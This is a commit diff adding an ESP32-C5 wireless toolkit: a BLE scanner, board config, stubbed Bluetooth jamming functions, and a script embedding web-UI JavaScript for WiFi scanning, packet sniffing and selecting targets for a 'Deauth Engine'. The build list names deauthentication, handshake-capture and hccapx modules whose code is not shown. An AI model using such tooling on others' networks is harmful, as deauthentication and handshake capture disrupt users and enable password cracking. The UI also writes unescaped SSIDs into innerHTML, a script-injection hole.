Initial commit: project docs and ignore rules
This commit is contained in:
29
ESP32-C5-Toolkit/main/CMakeLists.txt
Normal file
29
ESP32-C5-Toolkit/main/CMakeLists.txt
Normal file
@@ -0,0 +1,29 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
"main.c"
|
||||
"wifi_init.c"
|
||||
"wifi_scan.c"
|
||||
"wifi_sniffer.c"
|
||||
"deauth_engine.c"
|
||||
"web_server.c"
|
||||
"signal_analysis.c"
|
||||
"bt_scanner.c"
|
||||
"frame_analyzer.c"
|
||||
"pcap_serializer.c"
|
||||
"hccapx_serializer.c"
|
||||
"handshake_capture.c"
|
||||
INCLUDE_DIRS
|
||||
"."
|
||||
REQUIRES
|
||||
driver
|
||||
esp_system
|
||||
esp_wifi
|
||||
nvs_flash
|
||||
esp_netif
|
||||
esp_event
|
||||
esp_http_server
|
||||
cjson
|
||||
esp_timer
|
||||
esp_driver_tsens
|
||||
bt
|
||||
)
|
||||
62
ESP32-C5-Toolkit/main/board_config.h
Normal file
62
ESP32-C5-Toolkit/main/board_config.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#ifndef BOARD_CONFIG_H
|
||||
#define BOARD_CONFIG_H
|
||||
|
||||
#include "sdkconfig.h"
|
||||
|
||||
/**
|
||||
* @file board_config.h
|
||||
* @brief Configuration for ESP32-C5 boards
|
||||
*
|
||||
* This file contains hardware-specific settings for different ESP32-C5 boards.
|
||||
* Adjust these settings to match your specific board configuration.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Basic pin mapping for ESP32-C5
|
||||
*
|
||||
* ESP32-C5 pin mapping based on the official ESP32-C5-DevKitC-1 but designed
|
||||
* to be compatible with generic ESP32-C5 boards. GPIO pins are mapped
|
||||
* according to common ESP32-C5 dev boards, but can be adjusted as needed.
|
||||
*/
|
||||
|
||||
// GPIO pins (use -1 if not available on your board)
|
||||
#define GPIO_BUTTON 0 // Boot button (GPIO0 on most ESP32-C5 boards)
|
||||
|
||||
// UART pins - Usually these are fixed for ESP32-C5
|
||||
#define GPIO_UART_TX 11 // UART TX (GPIO11 on ESP32-C5)
|
||||
#define GPIO_UART_RX 12 // UART RX (GPIO12 on ESP32-C5)
|
||||
|
||||
// WiFi antenna configuration
|
||||
// This is the default if no setting is found in NVS
|
||||
// Set to 1 to use external antenna, 0 for internal antenna
|
||||
#define USE_EXTERNAL_ANTENNA 0
|
||||
|
||||
// Board identification
|
||||
// Enable the appropriate board or define your own
|
||||
#define BOARD_ESP32_C5_DEVKITC 1 // Official ESP32-C5-DevKitC
|
||||
#define BOARD_ESP32_C5_GENERIC 0 // Generic ESP32-C5 board
|
||||
|
||||
// Advanced settings
|
||||
// Default channel for WiFi AP mode
|
||||
#define DEFAULT_WIFI_CHANNEL 1
|
||||
|
||||
// Advanced WiFi settings - may need adjustment for different boards
|
||||
#define WIFI_COUNTRY_POLICY WIFI_COUNTRY_POLICY_AUTO
|
||||
#define WIFI_COUNTRY_CODE "US" // Change according to your region
|
||||
|
||||
/**
|
||||
* Board-specific initializations
|
||||
* Enable or customize based on your specific board
|
||||
*/
|
||||
#if BOARD_ESP32_C5_DEVKITC
|
||||
// Settings specific to the official DevKitC
|
||||
#define BOARD_NAME "ESP32-C5-DevKitC"
|
||||
#elif BOARD_ESP32_C5_GENERIC
|
||||
// Generic board settings
|
||||
#define BOARD_NAME "ESP32-C5-Generic"
|
||||
#else
|
||||
// Default fallback
|
||||
#define BOARD_NAME "ESP32-C5"
|
||||
#endif
|
||||
|
||||
#endif /* BOARD_CONFIG_H */
|
||||
300
ESP32-C5-Toolkit/main/bt_scanner.c
Normal file
300
ESP32-C5-Toolkit/main/bt_scanner.c
Normal file
@@ -0,0 +1,300 @@
|
||||
/**
|
||||
* @file bt_scanner.c
|
||||
* @brief NimBLE-based BLE Scanner for ESP32-C5
|
||||
*
|
||||
* Uses NimBLE stack (not Bluedroid) which is required for ESP32-C5
|
||||
*/
|
||||
|
||||
#include "bt_scanner.h"
|
||||
#include "esp_log.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nimble/nimble_port.h"
|
||||
#include "nimble/nimble_port_freertos.h"
|
||||
#include "host/ble_hs.h"
|
||||
#include "host/util/util.h"
|
||||
#include "esp_timer.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/semphr.h"
|
||||
#include <string.h>
|
||||
|
||||
static const char *TAG = "ble_scanner";
|
||||
|
||||
#define MAX_BT_DEVICES 30
|
||||
|
||||
// Global state
|
||||
static bool ble_initialized = false;
|
||||
static bool scan_active = false;
|
||||
static bt_device_t devices[MAX_BT_DEVICES];
|
||||
static int device_count = 0;
|
||||
static SemaphoreHandle_t ble_mutex = NULL;
|
||||
static uint8_t own_addr_type;
|
||||
|
||||
// Forward declarations
|
||||
static void ble_host_task(void *param);
|
||||
static int ble_gap_event(struct ble_gap_event *event, void *arg);
|
||||
|
||||
// Check if device already exists in list
|
||||
static bool device_exists(const uint8_t *addr) {
|
||||
for (int i = 0; i < device_count; i++) {
|
||||
if (memcmp(devices[i].addr, addr, 6) == 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Parse device name from advertising data
|
||||
static void parse_adv_name(const uint8_t *data, uint8_t len, char *name_out, size_t name_size) {
|
||||
name_out[0] = '\0';
|
||||
uint8_t pos = 0;
|
||||
|
||||
while (pos < len) {
|
||||
uint8_t field_len = data[pos];
|
||||
if (field_len == 0 || pos + field_len >= len) break;
|
||||
|
||||
uint8_t field_type = data[pos + 1];
|
||||
|
||||
// Complete Local Name (0x09) or Shortened Local Name (0x08)
|
||||
if (field_type == 0x09 || field_type == 0x08) {
|
||||
uint8_t name_len = field_len - 1;
|
||||
if (name_len >= name_size) name_len = name_size - 1;
|
||||
memcpy(name_out, &data[pos + 2], name_len);
|
||||
name_out[name_len] = '\0';
|
||||
return;
|
||||
}
|
||||
pos += field_len + 1;
|
||||
}
|
||||
}
|
||||
|
||||
// GAP event handler for scan results
|
||||
static int ble_gap_event(struct ble_gap_event *event, void *arg) {
|
||||
switch (event->type) {
|
||||
case BLE_GAP_EVENT_DISC: {
|
||||
// Received advertising report
|
||||
if (device_count >= MAX_BT_DEVICES) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Check if device already in list
|
||||
if (device_exists(event->disc.addr.val)) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (xSemaphoreTake(ble_mutex, pdMS_TO_TICKS(10)) == pdTRUE) {
|
||||
bt_device_t *dev = &devices[device_count];
|
||||
|
||||
// Copy address (reverse byte order for display)
|
||||
for (int i = 0; i < 6; i++) {
|
||||
dev->addr[i] = event->disc.addr.val[5 - i];
|
||||
}
|
||||
|
||||
dev->rssi = event->disc.rssi;
|
||||
dev->adv_type = event->disc.event_type;
|
||||
dev->timestamp = (uint32_t)(esp_timer_get_time() / 1000000ULL);
|
||||
|
||||
// Parse name from advertising data
|
||||
struct ble_hs_adv_fields fields;
|
||||
if (ble_hs_adv_parse_fields(&fields, event->disc.data, event->disc.length_data) == 0) {
|
||||
if (fields.name != NULL && fields.name_len > 0) {
|
||||
size_t copy_len = fields.name_len < 31 ? fields.name_len : 31;
|
||||
memcpy(dev->name, fields.name, copy_len);
|
||||
dev->name[copy_len] = '\0';
|
||||
} else {
|
||||
strcpy(dev->name, "Unknown");
|
||||
}
|
||||
} else {
|
||||
// Fallback: try manual parsing
|
||||
parse_adv_name(event->disc.data, event->disc.length_data, dev->name, sizeof(dev->name));
|
||||
if (dev->name[0] == '\0') {
|
||||
strcpy(dev->name, "Unknown");
|
||||
}
|
||||
}
|
||||
|
||||
device_count++;
|
||||
ESP_LOGI(TAG, "Device %d: %02X:%02X:%02X:%02X:%02X:%02X RSSI:%d %s",
|
||||
device_count,
|
||||
dev->addr[0], dev->addr[1], dev->addr[2],
|
||||
dev->addr[3], dev->addr[4], dev->addr[5],
|
||||
dev->rssi, dev->name);
|
||||
|
||||
xSemaphoreGive(ble_mutex);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case BLE_GAP_EVENT_DISC_COMPLETE:
|
||||
ESP_LOGI(TAG, "BLE scan complete, found %d devices", device_count);
|
||||
scan_active = false;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// NimBLE host sync callback
|
||||
static void ble_on_sync(void) {
|
||||
int rc;
|
||||
|
||||
// Determine address type
|
||||
rc = ble_hs_util_ensure_addr(0);
|
||||
if (rc != 0) {
|
||||
ESP_LOGE(TAG, "Failed to ensure address: %d", rc);
|
||||
return;
|
||||
}
|
||||
|
||||
rc = ble_hs_id_infer_auto(0, &own_addr_type);
|
||||
if (rc != 0) {
|
||||
ESP_LOGE(TAG, "Failed to infer address type: %d", rc);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "NimBLE host synced, ready to scan");
|
||||
ble_initialized = true;
|
||||
}
|
||||
|
||||
// NimBLE host reset callback
|
||||
static void ble_on_reset(int reason) {
|
||||
ESP_LOGW(TAG, "NimBLE host reset, reason: %d", reason);
|
||||
ble_initialized = false;
|
||||
}
|
||||
|
||||
// NimBLE host task
|
||||
static void ble_host_task(void *param) {
|
||||
ESP_LOGI(TAG, "NimBLE host task started");
|
||||
nimble_port_run();
|
||||
nimble_port_freertos_deinit();
|
||||
}
|
||||
|
||||
bool bt_scanner_init(void) {
|
||||
if (ble_initialized) {
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Initializing NimBLE BLE scanner");
|
||||
|
||||
// Create mutex
|
||||
if (ble_mutex == NULL) {
|
||||
ble_mutex = xSemaphoreCreateMutex();
|
||||
if (ble_mutex == NULL) {
|
||||
ESP_LOGE(TAG, "Failed to create mutex");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Initialize NimBLE
|
||||
esp_err_t ret = nimble_port_init();
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Failed to init NimBLE port: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
// Configure NimBLE host
|
||||
ble_hs_cfg.sync_cb = ble_on_sync;
|
||||
ble_hs_cfg.reset_cb = ble_on_reset;
|
||||
|
||||
// Start NimBLE host task
|
||||
nimble_port_freertos_init(ble_host_task);
|
||||
|
||||
// Wait for sync (up to 2 seconds)
|
||||
for (int i = 0; i < 20 && !ble_initialized; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
if (!ble_initialized) {
|
||||
ESP_LOGW(TAG, "NimBLE not synced yet, but continuing");
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "NimBLE BLE scanner initialized");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool bt_scan_start(void) {
|
||||
if (!ble_initialized) {
|
||||
if (!bt_scanner_init()) {
|
||||
ESP_LOGE(TAG, "BLE not initialized");
|
||||
return false;
|
||||
}
|
||||
// Wait a bit more for sync
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
}
|
||||
|
||||
if (scan_active) {
|
||||
ESP_LOGW(TAG, "Scan already active");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Clear previous results
|
||||
if (xSemaphoreTake(ble_mutex, pdMS_TO_TICKS(1000)) == pdTRUE) {
|
||||
device_count = 0;
|
||||
memset(devices, 0, sizeof(devices));
|
||||
xSemaphoreGive(ble_mutex);
|
||||
}
|
||||
|
||||
// Configure scan parameters
|
||||
struct ble_gap_disc_params scan_params = {
|
||||
.itvl = BLE_GAP_SCAN_ITVL_MS(100), // 100ms interval
|
||||
.window = BLE_GAP_SCAN_WIN_MS(100), // 100ms window (continuous)
|
||||
.filter_policy = BLE_HCI_SCAN_FILT_NO_WL,
|
||||
.limited = 0,
|
||||
.passive = 0, // Active scanning (request scan response)
|
||||
.filter_duplicates = 1,
|
||||
};
|
||||
|
||||
// Start discovery (scan for 30 seconds)
|
||||
int rc = ble_gap_disc(own_addr_type, 30000, &scan_params, ble_gap_event, NULL);
|
||||
if (rc != 0) {
|
||||
ESP_LOGE(TAG, "Failed to start scan: %d", rc);
|
||||
return false;
|
||||
}
|
||||
|
||||
scan_active = true;
|
||||
ESP_LOGI(TAG, "BLE scan started");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool bt_scan_stop(void) {
|
||||
if (!scan_active) {
|
||||
return true;
|
||||
}
|
||||
|
||||
int rc = ble_gap_disc_cancel();
|
||||
if (rc != 0 && rc != BLE_HS_EALREADY) {
|
||||
ESP_LOGE(TAG, "Failed to stop scan: %d", rc);
|
||||
return false;
|
||||
}
|
||||
|
||||
scan_active = false;
|
||||
ESP_LOGI(TAG, "BLE scan stopped, found %d devices", device_count);
|
||||
return true;
|
||||
}
|
||||
|
||||
int bt_get_devices(bt_device_t *out_devices, int max_devices) {
|
||||
if (out_devices == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int count = 0;
|
||||
if (xSemaphoreTake(ble_mutex, pdMS_TO_TICKS(1000)) == pdTRUE) {
|
||||
count = (device_count < max_devices) ? device_count : max_devices;
|
||||
memcpy(out_devices, devices, count * sizeof(bt_device_t));
|
||||
xSemaphoreGive(ble_mutex);
|
||||
}
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
// Stub implementations for jamming (not implemented)
|
||||
bool bt_jam_start(uint8_t *target_addr, uint32_t duration) {
|
||||
ESP_LOGW(TAG, "BT jamming not implemented");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool bt_jam_stop(void) {
|
||||
return true;
|
||||
}
|
||||
|
||||
bool bt_jam_is_active(void) {
|
||||
return false;
|
||||
}
|
||||
69
ESP32-C5-Toolkit/main/bt_scanner.h
Normal file
69
ESP32-C5-Toolkit/main/bt_scanner.h
Normal file
@@ -0,0 +1,69 @@
|
||||
#ifndef BT_SCANNER_H
|
||||
#define BT_SCANNER_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Bluetooth device structure
|
||||
typedef struct {
|
||||
uint8_t addr[6];
|
||||
char name[32];
|
||||
int8_t rssi;
|
||||
uint8_t adv_type;
|
||||
uint32_t timestamp;
|
||||
} bt_device_t;
|
||||
|
||||
/**
|
||||
* @brief Initialize Bluetooth scanner
|
||||
*
|
||||
* @return true if initialized successfully
|
||||
*/
|
||||
bool bt_scanner_init(void);
|
||||
|
||||
/**
|
||||
* @brief Start Bluetooth scan
|
||||
*
|
||||
* @return true if scan started successfully
|
||||
*/
|
||||
bool bt_scan_start(void);
|
||||
|
||||
/**
|
||||
* @brief Stop Bluetooth scan
|
||||
*
|
||||
* @return true if scan stopped successfully
|
||||
*/
|
||||
bool bt_scan_stop(void);
|
||||
|
||||
/**
|
||||
* @brief Get scanned devices
|
||||
*
|
||||
* @param devices Output array for devices
|
||||
* @param max_devices Maximum number of devices to retrieve
|
||||
* @return Number of devices found
|
||||
*/
|
||||
int bt_get_devices(bt_device_t *devices, int max_devices);
|
||||
|
||||
/**
|
||||
* @brief Start Bluetooth jamming (authorized use only)
|
||||
*
|
||||
* @param target_addr Target device address (NULL for all)
|
||||
* @param duration Duration in seconds
|
||||
* @return true if jamming started
|
||||
*/
|
||||
bool bt_jam_start(uint8_t *target_addr, uint32_t duration);
|
||||
|
||||
/**
|
||||
* @brief Stop Bluetooth jamming
|
||||
*
|
||||
* @return true if stopped
|
||||
*/
|
||||
bool bt_jam_stop(void);
|
||||
|
||||
/**
|
||||
* @brief Check if jamming is active
|
||||
*
|
||||
* @return true if jamming
|
||||
*/
|
||||
bool bt_jam_is_active(void);
|
||||
|
||||
#endif /* BT_SCANNER_H */
|
||||
443
ESP32-C5-Toolkit/main/convert_html_to_c.py
Normal file
443
ESP32-C5-Toolkit/main/convert_html_to_c.py
Normal file
@@ -0,0 +1,443 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Convert enhanced HTML to C string format for embedding
|
||||
"""
|
||||
|
||||
def escape_c_string(s):
|
||||
"""Escape string for C embedding"""
|
||||
s = s.replace('\\', '\\\\')
|
||||
s = s.replace('"', '\\"')
|
||||
s = s.replace('\n', '\\n')
|
||||
return s
|
||||
|
||||
# Read the enhanced HTML
|
||||
with open('enhanced_ui.html', 'r') as f:
|
||||
html_content = f.read()
|
||||
|
||||
# Add complete JavaScript functionality
|
||||
js_complete = '''
|
||||
// Complete JavaScript implementation
|
||||
const charts = {};
|
||||
let networkActivityData = { labels: [], datasets: [{ label: 'Networks', data: [], borderColor: '#00ff41', backgroundColor: 'rgba(0,255,65,0.1)' }] };
|
||||
let rssiData = { labels: [], datasets: [{ label: 'RSSI Distribution', data: [], backgroundColor: '#00ff41' }] };
|
||||
let packetFlowData = { labels: [], datasets: [{ label: 'Packets/sec', data: [], borderColor: '#00d4ff' }] };
|
||||
let signalTimeData = { labels: [], datasets: [] };
|
||||
let channelUtilData = { labels: [], datasets: [{ label: 'Utilization %', data: [], backgroundColor: '#00ff41' }] };
|
||||
|
||||
let selected24ghz = null;
|
||||
let selected5ghz = null;
|
||||
let autoScanInterval = null;
|
||||
let packetCount = 0;
|
||||
let startTime = Date.now();
|
||||
|
||||
function initCharts() {
|
||||
const chartOptions = {
|
||||
responsive: true,
|
||||
maintainAspectRatio: false,
|
||||
animation: { duration: 0 },
|
||||
plugins: {
|
||||
legend: { labels: { color: '#00ff41', font: { family: 'JetBrains Mono' } } }
|
||||
},
|
||||
scales: {
|
||||
x: {
|
||||
ticks: { color: '#00ff41', font: { family: 'JetBrains Mono' } },
|
||||
grid: { color: 'rgba(0,255,65,0.1)' }
|
||||
},
|
||||
y: {
|
||||
ticks: { color: '#00ff41', font: { family: 'JetBrains Mono' } },
|
||||
grid: { color: 'rgba(0,255,65,0.1)' }
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
charts.networkActivity = new Chart(document.getElementById('network-activity-chart'), {
|
||||
type: 'line',
|
||||
data: networkActivityData,
|
||||
options: chartOptions
|
||||
});
|
||||
|
||||
charts.rssi = new Chart(document.getElementById('rssi-chart'), {
|
||||
type: 'bar',
|
||||
data: rssiData,
|
||||
options: chartOptions
|
||||
});
|
||||
|
||||
charts.packetFlow = new Chart(document.getElementById('packet-flow-chart'), {
|
||||
type: 'line',
|
||||
data: packetFlowData,
|
||||
options: {
|
||||
...chartOptions,
|
||||
scales: {
|
||||
x: {
|
||||
ticks: { color: '#00d4ff', font: { family: 'JetBrains Mono' } },
|
||||
grid: { color: 'rgba(0,212,255,0.1)' }
|
||||
},
|
||||
y: {
|
||||
ticks: { color: '#00d4ff', font: { family: 'JetBrains Mono' } },
|
||||
grid: { color: 'rgba(0,212,255,0.1)' }
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
charts.signalTime = new Chart(document.getElementById('signal-time-chart'), {
|
||||
type: 'line',
|
||||
data: signalTimeData,
|
||||
options: chartOptions
|
||||
});
|
||||
|
||||
charts.channelUtil = new Chart(document.getElementById('channel-util-chart'), {
|
||||
type: 'bar',
|
||||
data: channelUtilData,
|
||||
options: {
|
||||
...chartOptions,
|
||||
scales: {
|
||||
...chartOptions.scales,
|
||||
y: {
|
||||
...chartOptions.scales.y,
|
||||
max: 100
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function updateDashboard() {
|
||||
fetch('/api/system-info')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
document.getElementById('free-heap').textContent = formatBytes(data.free_heap);
|
||||
const uptime = Math.floor((Date.now() - startTime) / 1000);
|
||||
document.getElementById('uptime').textContent = formatTime(uptime);
|
||||
|
||||
const sysInfo = document.getElementById('system-info');
|
||||
sysInfo.innerHTML = `
|
||||
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">IDF Version: ${data.idf_version}</span></div>
|
||||
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">Chip Model: ${data.chip_model}</span></div>
|
||||
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">Cores: ${data.chip_cores}</span></div>
|
||||
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">MAC: ${data.mac_address}</span></div>
|
||||
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">Features: ${data.features}</span></div>
|
||||
`;
|
||||
});
|
||||
}
|
||||
|
||||
function formatBytes(bytes) {
|
||||
if (bytes < 1024) return bytes + ' B';
|
||||
if (bytes < 1048576) return (bytes / 1024).toFixed(1) + ' KB';
|
||||
return (bytes / 1048576).toFixed(2) + ' MB';
|
||||
}
|
||||
|
||||
function formatTime(seconds) {
|
||||
const h = Math.floor(seconds / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
const s = seconds % 60;
|
||||
return `${String(h).padStart(2, '0')}:${String(m).padStart(2, '0')}:${String(s).padStart(2, '0')}`;
|
||||
}
|
||||
|
||||
// WiFi Scanner
|
||||
document.getElementById('scan-btn')?.addEventListener('click', function() {
|
||||
this.disabled = true;
|
||||
const status = document.getElementById('scan-status');
|
||||
status.className = 'status-indicator active';
|
||||
document.getElementById('scan-status-text').textContent = 'SCANNING...';
|
||||
|
||||
fetch('/api/scan')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
if (data.status === 'success') {
|
||||
displayNetworks(data.networks);
|
||||
updateRSSIChart(data.networks);
|
||||
document.getElementById('networks-count').textContent = data.networks.length;
|
||||
}
|
||||
this.disabled = false;
|
||||
status.className = 'status-indicator inactive';
|
||||
document.getElementById('scan-status-text').textContent = 'READY';
|
||||
});
|
||||
});
|
||||
|
||||
function displayNetworks(networks) {
|
||||
const tbody = document.querySelector('#networks-table tbody');
|
||||
tbody.innerHTML = '';
|
||||
networks.forEach(net => {
|
||||
const row = document.createElement('tr');
|
||||
const rssiPercent = Math.min(100, Math.max(0, (net.rssi + 100) * 2));
|
||||
row.innerHTML = `
|
||||
<td>${net.ssid || '(HIDDEN)'}</td>
|
||||
<td><code>${net.bssid}</code></td>
|
||||
<td>${net.band}</td>
|
||||
<td>${net.channel}</td>
|
||||
<td>${net.rssi} dBm</td>
|
||||
<td>${net.security}</td>
|
||||
<td>
|
||||
<div class="signal-bar">
|
||||
<div class="signal-bar-fill" style="width: ${rssiPercent}%"></div>
|
||||
</div>
|
||||
</td>
|
||||
`;
|
||||
tbody.appendChild(row);
|
||||
});
|
||||
}
|
||||
|
||||
function updateRSSIChart(networks) {
|
||||
const rssiRanges = { '-90 to -80': 0, '-80 to -70': 0, '-70 to -60': 0, '-60 to -50': 0, '-50 to -40': 0, '-40+': 0 };
|
||||
networks.forEach(net => {
|
||||
if (net.rssi < -90) rssiRanges['-90 to -80']++;
|
||||
else if (net.rssi < -80) rssiRanges['-80 to -70']++;
|
||||
else if (net.rssi < -70) rssiRanges['-70 to -60']++;
|
||||
else if (net.rssi < -60) rssiRanges['-60 to -50']++;
|
||||
else if (net.rssi < -50) rssiRanges['-50 to -40']++;
|
||||
else rssiRanges['-40+']++;
|
||||
});
|
||||
|
||||
rssiData.labels = Object.keys(rssiRanges);
|
||||
rssiData.datasets[0].data = Object.values(rssiRanges);
|
||||
charts.rssi.update();
|
||||
}
|
||||
|
||||
// Packet Sniffer
|
||||
let sniffing = false;
|
||||
let sniffInterval = null;
|
||||
|
||||
document.getElementById('start-sniff')?.addEventListener('click', function() {
|
||||
const channel = document.getElementById('sniff-channel').value;
|
||||
const filter = document.getElementById('packet-filter').value;
|
||||
|
||||
fetch(`/api/sniff/start?channel=${channel}&filter=${filter}`)
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
if (data.status === 'success') {
|
||||
sniffing = true;
|
||||
this.disabled = true;
|
||||
document.getElementById('stop-sniff').disabled = false;
|
||||
sniffInterval = setInterval(fetchPackets, 1000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
document.getElementById('stop-sniff')?.addEventListener('click', function() {
|
||||
fetch('/api/sniff/stop')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
sniffing = false;
|
||||
this.disabled = true;
|
||||
document.getElementById('start-sniff').disabled = false;
|
||||
if (sniffInterval) {
|
||||
clearInterval(sniffInterval);
|
||||
sniffInterval = null;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function fetchPackets() {
|
||||
if (!sniffing) return;
|
||||
fetch('/api/sniff/packets')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
if (data.packets && data.packets.length > 0) {
|
||||
data.packets.forEach(pkt => addPacketToLog(pkt));
|
||||
packetCount += data.packets.length;
|
||||
document.getElementById('packets-count').textContent = packetCount;
|
||||
updatePacketFlowChart(data.packets.length);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function addPacketToLog(packet) {
|
||||
const log = document.getElementById('packet-log');
|
||||
const time = new Date().toLocaleTimeString();
|
||||
const line = document.createElement('div');
|
||||
line.className = 'terminal-line';
|
||||
line.innerHTML = `<span class="terminal-prompt">[${time}]</span> <span class="terminal-output">${packet.type}</span> <span class="terminal-prompt">SRC:</span> <span class="terminal-output">${packet.src}</span> <span class="terminal-prompt">DST:</span> <span class="terminal-output">${packet.dst}</span> <span class="terminal-prompt">RSSI:</span> <span class="terminal-output">${packet.rssi} dBm</span>`;
|
||||
log.appendChild(line);
|
||||
log.scrollTop = log.scrollHeight;
|
||||
if (log.children.length > 100) log.removeChild(log.firstChild);
|
||||
}
|
||||
|
||||
function updatePacketFlowChart(count) {
|
||||
const now = new Date().toLocaleTimeString();
|
||||
packetFlowData.labels.push(now);
|
||||
packetFlowData.datasets[0].data.push(count);
|
||||
if (packetFlowData.labels.length > 20) {
|
||||
packetFlowData.labels.shift();
|
||||
packetFlowData.datasets[0].data.shift();
|
||||
}
|
||||
charts.packetFlow.update('none');
|
||||
}
|
||||
|
||||
// Bluetooth Scanner
|
||||
document.getElementById('bt-scan-btn')?.addEventListener('click', function() {
|
||||
this.disabled = true;
|
||||
document.getElementById('bt-scan-stop-btn').disabled = false;
|
||||
document.getElementById('bt-scan-status').className = 'status-indicator active';
|
||||
|
||||
fetch('/api/bt/scan/start')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
if (data.status === 'success') {
|
||||
setInterval(fetchBTDevices, 2000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function fetchBTDevices() {
|
||||
fetch('/api/bt/devices')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
if (data.devices) {
|
||||
displayBTDevices(data.devices);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function displayBTDevices(devices) {
|
||||
const tbody = document.querySelector('#bt-devices-table tbody');
|
||||
tbody.innerHTML = '';
|
||||
devices.forEach(dev => {
|
||||
const row = document.createElement('tr');
|
||||
row.innerHTML = `
|
||||
<td>${dev.name || 'Unknown'}</td>
|
||||
<td><code>${formatBTAddr(dev.addr)}</code></td>
|
||||
<td>${dev.rssi} dBm</td>
|
||||
<td>${dev.type === 1 ? 'BLE' : 'Classic'}</td>
|
||||
<td><button class="btn" onclick="selectBTJam('${formatBTAddr(dev.addr)}')">SELECT</button></td>
|
||||
`;
|
||||
tbody.appendChild(row);
|
||||
});
|
||||
}
|
||||
|
||||
function formatBTAddr(addr) {
|
||||
return addr.map(b => b.toString(16).padStart(2, '0')).join(':').toUpperCase();
|
||||
}
|
||||
|
||||
// Deauth Engine
|
||||
document.getElementById('deauth-scan-btn')?.addEventListener('click', function() {
|
||||
fetch('/api/scan')
|
||||
.then(r => r.json())
|
||||
.then(data => {
|
||||
if (data.status === 'success') {
|
||||
displayDeauthNetworks(data.networks);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function displayDeauthNetworks(networks) {
|
||||
const targets = document.getElementById('deauth-targets');
|
||||
let html = '<table><tr><th>SSID</th><th>BSSID</th><th>BAND</th><th>CH</th><th>SELECT</th></tr>';
|
||||
networks.forEach(net => {
|
||||
html += `<tr><td>${net.ssid || '(HIDDEN)'}</td><td><code>${net.bssid}</code></td><td>${net.band}</td><td>${net.channel}</td><td>`;
|
||||
if (net.band === '2.4GHz') {
|
||||
html += `<button class="btn" onclick="selectDeauthTarget('24ghz', '${net.ssid}', '${net.bssid}', ${net.channel})">2.4GHz</button>`;
|
||||
}
|
||||
if (net.band === '5GHz') {
|
||||
html += `<button class="btn" onclick="selectDeauthTarget('5ghz', '${net.ssid}', '${net.bssid}', ${net.channel})">5GHz</button>`;
|
||||
}
|
||||
html += '</td></tr>';
|
||||
});
|
||||
html += '</table>';
|
||||
targets.innerHTML = html;
|
||||
}
|
||||
|
||||
function selectDeauthTarget(band, ssid, bssid, channel) {
|
||||
const target = {ssid, bssid, channel};
|
||||
if (band === '24ghz') selected24ghz = target;
|
||||
else selected5ghz = target;
|
||||
updateDeauthTargets();
|
||||
}
|
||||
|
||||
function updateDeauthTargets() {
|
||||
const targets = document.getElementById('deauth-targets');
|
||||
let html = '';
|
||||
if (selected24ghz) {
|
||||
html += `<div style="background:#1565C0;padding:10px;margin:10px 0;border:1px solid #00ff41;"><strong>2.4GHz:</strong> ${selected24ghz.ssid} (${selected24ghz.bssid}) CH:${selected24ghz.channel} <button class="btn" onclick="selected24ghz=null;updateDeauthTargets();">REMOVE</button></div>`;
|
||||
}
|
||||
if (selected5ghz) {
|
||||
html += `<div style="background:#E65100;padding:10px;margin:10px 0;border:1px solid #00ff41;"><strong>5GHz:</strong> ${selected5ghz.ssid} (${selected5ghz.bssid}) CH:${selected5ghz.channel} <button class="btn" onclick="selected5ghz=null;updateDeauthTargets();">REMOVE</button></div>`;
|
||||
}
|
||||
targets.innerHTML = html;
|
||||
}
|
